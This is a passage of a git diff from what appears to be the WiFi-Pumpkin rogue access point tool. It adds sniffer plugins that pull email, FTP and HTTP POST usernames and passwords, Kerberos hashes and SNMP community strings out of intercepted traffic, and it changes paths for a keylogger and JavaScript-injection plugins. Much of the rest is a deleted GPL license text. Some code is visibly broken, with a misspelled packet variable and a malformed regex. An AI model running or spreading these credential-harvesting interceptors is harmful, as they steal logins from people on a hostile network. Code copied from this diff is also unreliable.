widgets['DockInfo'] + self.FSettings = widgets['Settings'] + self.NetworkGroup = widgets['Network'] self.mainLayout = QFormLayout() + self.SettingsDHCP = {} #scroll area self.scrollwidget = QWidget() @@ -454,7 +622,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.gridArea.addWidget(self.CB_bdfproxy,1,0) self.gridArea.addWidget(self.CB_dns2proxy,1,1) self.gridArea.addWidget(self.CB_responder,1,2) - self.gridArea.addWidget(self.CB_pumpkinPro,0,2) + #self.gridArea.addWidget(self.CB_pumpkinPro,0,2) disable tab plugin self.layoutArea.addRow(self.gridArea) self.GroupArea.setTitle('Activity Monitor settings') self.GroupArea.setLayout(self.layoutArea) @@ -463,6 +631,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.btnDefault.clicked.connect(self.setdefaultSettings) self.btnSave.clicked.connect(self.savesettingsDHCP) self.mainLayout.addRow(self.SettingsAp) + self.mainLayout.addRow(self.NetworkGroup) self.mainLayout.addRow(self.GroupArea) self.mainLayout.addRow(self.GroupDHCP) self.layout = QHBoxLayout() @@ -502,12 +671,12 @@ def AreaWidgetLoader(self,DockInfo): self.dock.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) self.dock.setAllowedAreas(Qt.AllDockWidgetAreas) self.dock.setFeatures(QDockWidget.DockWidgetMovable | QDockWidget.DockWidgetFloatable) - self.InitialMehtod.addDockWidget(Qt.LeftDockWidgetArea, self.dock) + self.Tab_Dock.addDockWidget(Qt.LeftDockWidgetArea, self.dock) self.dockList.insert(0,self.dock) if len(self.dockList) > 1: for index in range(1, len(self.dockList) - 1): if self.dockList[index].objectName() != 'HTTP-Requests': - self.InitialMehtod.tabifyDockWidget(self.dockList[index], + self.Tab_Dock.tabifyDockWidget(self.dockList[index], self.dockList[index + 1]) try: self.dockList[0].raise_() @@ -547,11 +716,11 @@ def doCheckAdvanced(self): if self.CB_ActiveMode.isChecked(): self.AreaWidgetLoader(self.dockInfo) self.checkDockArea.emit(self.AllDockArea) - if hasattr(self.InitialMehtod,'form_widget'): - if hasattr(self.InitialMehtod.form_widget,'Apthreads'): - if self.InitialMehtod.form_widget.Apthreads['RougeAP'] != []: - for dock in self.InitialMehtod.form_widget.dockAreaList.keys(): - self.InitialMehtod.form_widget.dockAreaList[dock].RunThread() + if hasattr(self.Tab_Dock,'form_widget'): + if hasattr(self.Tab_Dock.form_widget,'Apthreads'): + if self.Tab_Dock.form_widget.Apthreads['RougeAP'] != []: + for dock in self.Tab_Dock.form_widget.dockAreaList.keys(): + self.Tab_Dock.form_widget.dockAreaList[dock].RunThread() else: if hasattr(self,'dockList'): for dock in self.dockList: dock.close() diff --git a/icons/Stop.png b/icons/Stop.png index fef42cc..b1a2515 100644 Binary files a/icons/Stop.png and b/icons/Stop.png differ diff --git a/icons/image.png b/icons/image.png new file mode 100644 index 0000000..023bf08 Binary files /dev/null and b/icons/image.png differ diff --git a/icons/start.png b/icons/start.png index c53ff0f..8e1f851 100644 Binary files a/icons/start.png and b/icons/start.png differ diff --git a/icons/tcpproxy.png b/icons/tcpproxy.png new file mode 100644 index 0000000..db1e01d Binary files /dev/null and b/icons/tcpproxy.png differ diff --git a/installer.sh b/installer.sh index 261fefe..90d0dd3 100755 --- a/installer.sh +++ b/installer.sh @@ -16,7 +16,7 @@ func_Banner(){ echo ' =============================' echo " |$bldblu wifi-pumpkin Installer$txtrst|" echo ' =============================' - echo " Version: $(tput setaf 5)0.8.4 $txtrst" + echo " Version: $(tput setaf 5)0.8.5 $txtrst" echo "usage: ./installer.sh --install | --uninstall" } @@ -75,7 +75,7 @@ func_install(){ bin_install echo "[$green✔$txtrst] wifi-pumpkin installed with success" echo "[$green✔$txtrst] execute $bldred sudo wifi-pumpkin$txtrst in terminal" - echo "[$green+$txtrst]$color_y P0cL4bs Team CopyRight 2015-2016$txtrst" + echo "[$green+$txtrst]$color_y P0cL4bs Team CopyRight 2015-2017$txtrst" echo "[$green+$txtrst] Enjoy" exit 0 } diff --git a/logs/AccessPoint/tcp-proxy.log b/logs/AccessPoint/tcp-proxy.log new file mode 100644 index 0000000..e69de29 diff --git a/logs/ImagesCap/__init__.py b/logs/ImagesCap/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/plugins/analyzers/__init__.py b/plugins/analyzers/__init__.py new file mode 100644 index 0000000..3ac5a27 --- /dev/null +++ b/plugins/analyzers/__init__.py @@ -0,0 +1,4 @@ +#from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/plugins/analyzers/default.py b/plugins/analyzers/default.py new file mode 100755 index 0000000..364ca93 --- /dev/null +++ b/plugins/analyzers/default.py @@ -0,0 +1,47 @@ +from re import findall +import logging +from sys import stdout +from scapy.all import hexdump +from core.utility.collection import SettingsINI +from PyQt4.QtCore import pyqtSignal + +class PSniffer(object): + ''' plugins data sniffers''' + name = 'plugin TCP proxy master' + version = '1.0' + config = SettingsINI('core/config/app/proxy.ini') + loggers = {} + output = pyqtSignal(object) + session = None + + def filterPackets(self,pkt): + ''' intercept packetes data ''' + raise NotImplementedError + + def get_http_headers(self,http_payload): + ''' get header dict http request''' + try: + headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2] + headers = dict(findall(r'(?P.*?):(?P.*?)\r\n', headers_raw)) + except: + return None + if 'Content-Type' not in headers: + return None + + return headers + + def setup_logger(self, logger_name, log_file, key=str(), level=logging.INFO): + if self.loggers.get(logger_name): + return self.loggers.get(logger_name) + else: + logger = logging.getLogger(logger_name) + formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key)) + fileHandler = logging.FileHandler(log_file, mode='a') + fileHandler.setFormatter(formatter) + logger.setLevel(logging.INFO) + logger.addHandler(fileHandler) + return logger + + def hexdumpPackets(self,pkt): + ''' show packets hexdump ''' + return hexdump(pkt) \ No newline at end of file diff --git a/plugins/analyzers/emails.py b/plugins/analyzers/emails.py new file mode 100755 index 0000000..5c01851 --- /dev/null +++ b/plugins/analyzers/emails.py @@ -0,0 +1,33 @@ +from scapy.all import * +from default import PSniffer + +class Stealing_emails(PSniffer): + ''' capture POP3,IMAP,SMTP ''' + _activated = False + _instance = None + meta = { + 'Name' : 'emails', + 'Version' : '1.0', + 'Description' : 'capture emails packets POP3,IMAP,SMTP ', + 'Author' : 'Pumpkin-Dev', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if Stealing_emails._instance is None: + Stealing_emails._instance = Stealing_emails() + return Stealing_emails._instance + + def filterPackets(self,pkt): + if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + self.dport = pkt[TCP].dport + self.sport = pkt[TCP].sport + if self.dport == 110 or self.sport == 25 or self.dport == 143: + if ptk[TCP].payload: + email_pkt = str(ptk[TCP].payload) + if 'user' in email_pkt.lower() or 'pass' in email_pkt.lower(): + self.logging.info('[*] Server {}'.format(pkt[IP].dst)) + self.logging.info('[*] {}'.format(pkt[TCP].payload)) diff --git a/plugins/analyzers/ftp.py b/plugins/analyzers/ftp.py new file mode 100755 index 0000000..54725b9 --- /dev/null +++ b/plugins/analyzers/ftp.py @@ -0,0 +1,43 @@ +from scapy.all import * +from default import PSniffer + +class ftp(PSniffer): + ''' this script capture credentials of service ftp request HTTP ''' + _activated = False + _instance = None + + meta = { + 'Name' : 'ftp', + 'Version' : '1.0', + 'Description' : 'capture credentials of service ftp request HTTP', + 'Author' : 'Pumpkin-Dev', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if ftp._instance is None: + ftp._instance = ftp() + return ftp._instance + + def filterPackets(self,pkt): + if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + self.dport = pkt[TCP].dport + self.sport = pkt[TCP].sport + self.src_ip = str(pkt[IP].src) + self.dst_ip = str(pkt[IP].dst) + self.load = pkt[Raw].load + if self.dport == 21 or self.sport == 21: + self.parse_ftp(self.load, self.dst_ip,self.src_ip) + + def parse_ftp(self,load,ip_dst,ip_src): + load = repr(load)[1:-1].replace(r'\r\n', '') + if 'USER ' in load: + self.logging.info('[!] FTP User: {} SERVER: {}'.format(load,ip_dst)) + if 'PASS ' in load: + self.logging.info('[!] FTP Pass: {} {}'.format(load,ip_dst)) + if 'authentication failed' in load: + self.logging.info('[*] FTP authentication failed') + self.logging.info(load) \ No newline at end of file diff --git a/plugins/analyzers/hexdump.py b/plugins/analyzers/hexdump.py new file mode 100755 index 0000000..e8b8ae3 --- /dev/null +++ b/plugins/analyzers/hexdump.py @@ -0,0 +1,31 @@ +from scapy.all import * +from default import PSniffer +import sys +from io import StringIO + +class Hexdump(PSniffer): + ''' print dump packets http POST hex ''' + _activated = False + _instance = None + meta = { + 'Name' : 'hexdump', + 'Version' : '1.0', + 'Description' : 'dump packets http POST hex ', + 'Author' : 'Pumpkin-Dev', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if Hexdump._instance is None: + Hexdump._instance = Hexdump() + return Hexdump._instance + + def filterPackets(self,pkt): + if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + self.load = pkt[Raw].load + if self.load.startswith('POST'): + self.hexdumpPackets(pkt) + #self.logging.info(self.hexdumpPackets(pkt)) diff --git a/plugins/analyzers/httpCap.py b/plugins/analyzers/httpCap.py new file mode 100644 index 0000000..2a967f4 --- /dev/null +++ b/plugins/analyzers/httpCap.py @@ -0,0 +1,96 @@ +from scapy.all import * +from scapy_http import http +from default import PSniffer + +""" +Description: + This program is a core for modules wifi-pumpkin.py. file which includes all Implementation + plugin TCPproxy for capture http creds and url. + +Copyright: + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class MonitorCreds(PSniffer): + _activated = False + _instance = None + meta = { + 'Name' : 'httpCap', + 'Version' : '1.0', + 'Description' : 'capture urls and creds realtime http requests', + 'Author' : 'Pumpkin-Dev', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if MonitorCreds._instance is None: + MonitorCreds._instance = MonitorCreds() + return MonitorCreds._instance + + def getCredentials_POST(self,payload,url,header,dport,sport): + user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \ + '[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' + pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \ + '[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)' + username = re.findall(user_regex, payload) + password = re.findall(pw_regex, payload) + if not username ==[] and not password == []: + self.output.emit({'POSTCreds':{'User':username[0][1], + 'Pass': password[0][1],'Url':str(url),'Destination':'{}/{}'.format(sport,dport)}}) + + def get_http_POST(self,load): + dict_head = {} + try: + headers, body = load.split("\r\n\r\n", 1) + header_lines = headers.split('\r\n') + for item in header_lines: + try: + dict_head[item.split()[0]] = item.split()[1] + except Exception: + pass + if 'Referer:' in dict_head.keys(): + return dict_head ,dict_head['Referer:'] + except ValueError: + return None,None + return dict_head, None + + + def filterPackets(self,pkt): + if not pkt.haslayer(http.HTTPRequest): + return + + if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + self.dport = pkt[TCP].dport + self.sport = pkt[TCP].sport + self.src_ip_port = str(pkt[IP].src) + ':' + str(self.sport) + self.dst_ip_port = str(pkt[IP].dst) + ':' + str(self.dport) + + http_layer = pkt.getlayer(http.HTTPRequest) + ip_layer = pkt.getlayer(IP) + + if http_layer.fields['Method'] == 'POST': + self.load = pkt[Raw].load + header, url = self.get_http_POST(self.load) + self.getCredentials_POST(pkt.getlayer(Raw).load, http_layer.fields['Host'], + header, self.dst_ip_port, self.src_ip_port) + + return self.output.emit({'urlsCap':{'IP': ip_layer.fields, 'Headers': http_layer.fields}}) + + + def random_char(self,y): + return ''.join(random.choice(string.ascii_letters) for x in range(y)) diff --git a/plugins/analyzers/image.py b/plugins/analyzers/image.py new file mode 100755 index 0000000..2a58baa --- /dev/null +++ b/plugins/analyzers/image.py @@ -0,0 +1,43 @@ +from random import randint +from scapy.all import * +from default import PSniffer +from urllib import urlretrieve +from scapy_http import http +from os.path import splitext + +class ImageCap(PSniffer): + ''' capture image content http''' + _activated = False + _instance = None + meta = { + 'Name' : 'imageCap', + 'Version' : '1.0', + 'Description' : 'capture image content http', + 'Author' : 'Pumpkin-Dev', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if ImageCap._instance is None: + ImageCap._instance = ImageCap() + return ImageCap._instance + + def filterPackets(self,pkt): + if not pkt.haslayer(http.HTTPRequest): + return + + http_layer = pkt.getlayer(http.HTTPRequest) + ip_layer = pkt.getlayer(IP) + + xt = ['.png','.jpg'] + filename, file_extension = splitext(http_layer.fields['Path']) + if file_extension in xt: + file_name = 'logs/ImagesCap/%s_%s%s' % (self.session,self.random_char(5), file_extension) + urlretrieve('http://{}{}'.format(http_layer.fields['Host'], http_layer.fields['Path']),file_name) + self.output.emit({'image': file_name}) + + def random_char(self,y): + return ''.join(random.choice(string.ascii_letters) for x in range(y)) diff --git a/plugins/analyzers/kerberos.py b/plugins/analyzers/kerberos.py new file mode 100644 index 0000000..2088cdc --- /dev/null +++ b/plugins/analyzers/kerberos.py @@ -0,0 +1,189 @@ +from scapy.all import * +from default import PSniffer + +class Kerberos(PSniffer): + _activated = False + _instance = None + meta = { + 'Name' : 'kerberos', + 'Version' : '1.0', + 'Description' : 'capture The kerberos credentials authentication protocol. ', + 'Author' : 'DanMcInerney', + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + + @staticmethod + def getInstance(): + if Kerberos._instance is None: + Kerberos._instance = Kerberos() + return Kerberos._instance + + def filterPackets(self,pkt): + if pkt.haslayer(Raw): + load = pkt[Raw].load + + # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control + if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): + return + + # UDP + if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): + + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) + + # SNMP community strings + if pkt.haslayer(SNMP): + self.parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) + return + + # Kerberos over UDP + decoded = self.Decode_Ip_Packet(str(pkt)[14:]) + kerb_hash = self.ParseMSKerbv5UDP(decoded['data'][8:]) + if kerb_hash: + self.printer(src_ip_port, dst_ip_port, kerb_hash) + + elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + + ack = str(pkt[TCP].ack) + seq = str(pkt[TCP].seq) + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) + + # Kerberos over TCP + decoded = self.Decode_Ip_Packet(str(pkt)[14:]) + kerb_hash = self.ParseMSKerbv5TCP(decoded['data'][20:]) + if kerb_hash: + self.printer(src_ip_port, dst_ip_port, kerb_hash) + + + + def parse_snmp(self,src_ip_port, dst_ip_port, snmp_layer): + ''' + Parse out the SNMP version and community string + ''' + if type(snmp_layer.community.val) == str: + ver = snmp_layer.version.val + msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) + self.printer(src_ip_port, dst_ip_port, msg) + return True + + def printer(self,src_ip_port, dst_ip_port, msg): + print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg) + self.output.emit({''.format(self.meta.Name): print_str}) + + + def Decode_Ip_Packet(self,s): + ''' + Taken from PCredz, solely to get Kerb parsing + working until I have time to analyze Kerb pkts + and figure out a simpler way + Maybe use kerberos python lib + ''' + d={} + d['header_len']=ord(s[0]) & 0x0f + d['data']=s[4*d['header_len']:] + return d + + def ParseMSKerbv5TCP(self,Data): + ''' + Taken from Pcredz because I didn't want to spend the time doing this myself + I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? + Maybe replace this eventually with the kerberos python lib + Parses Kerberosv5 hashes from packets + ''' + try: + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + except IndexError: + return + + if MsgType == "\x0a" and EncType == "\x17" and MessageType == "\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack('() has searched for: {}'.format(pkt[IP].src, pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname)) - 1])) + #return self.output.emit({'{}'.format(self.meta['Name']): "Packet : %s ==> %s" % (pkt[0][1].src, pkt[0][1].dst)}) diff --git a/plugins/extension/js_inject.py b/plugins/extension/js_inject.py index ff46fde..3b70791 100644 --- a/plugins/extension/js_inject.py +++ b/plugins/extension/js_inject.py @@ -1,4 +1,4 @@ -from bs4 import BeautifulSoup +from BeautifulSoup import BeautifulSoup from mitmproxy.models import decoded from plugins.extension.plugin import PluginTemplate diff --git a/plugins/extension/keylogger.py b/plugins/extension/keylogger.py index 33b7b81..48bae44 100644 --- a/plugins/extension/keylogger.py +++ b/plugins/extension/keylogger.py @@ -29,7 +29,7 @@ def __init__(self): for key,value in self.meta.items(): self.__dict__[key] = value self.ConfigParser = False - self.filejs = 'core/servers/proxy/scripts/msfkeylogger.js' + self.filejs = 'core/servers/proxy/http/scripts/msfkeylogger.js' if path.isfile(self.filejs): self.isfilePath = True self.content = open(self.filejs,'r').read() diff --git a/plugins/external/net-creds/LICENSE b/plugins/external/net-creds/LICENSE deleted file mode 100644 index 94a9ed0..0000000 --- a/plugins/external/net-creds/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and 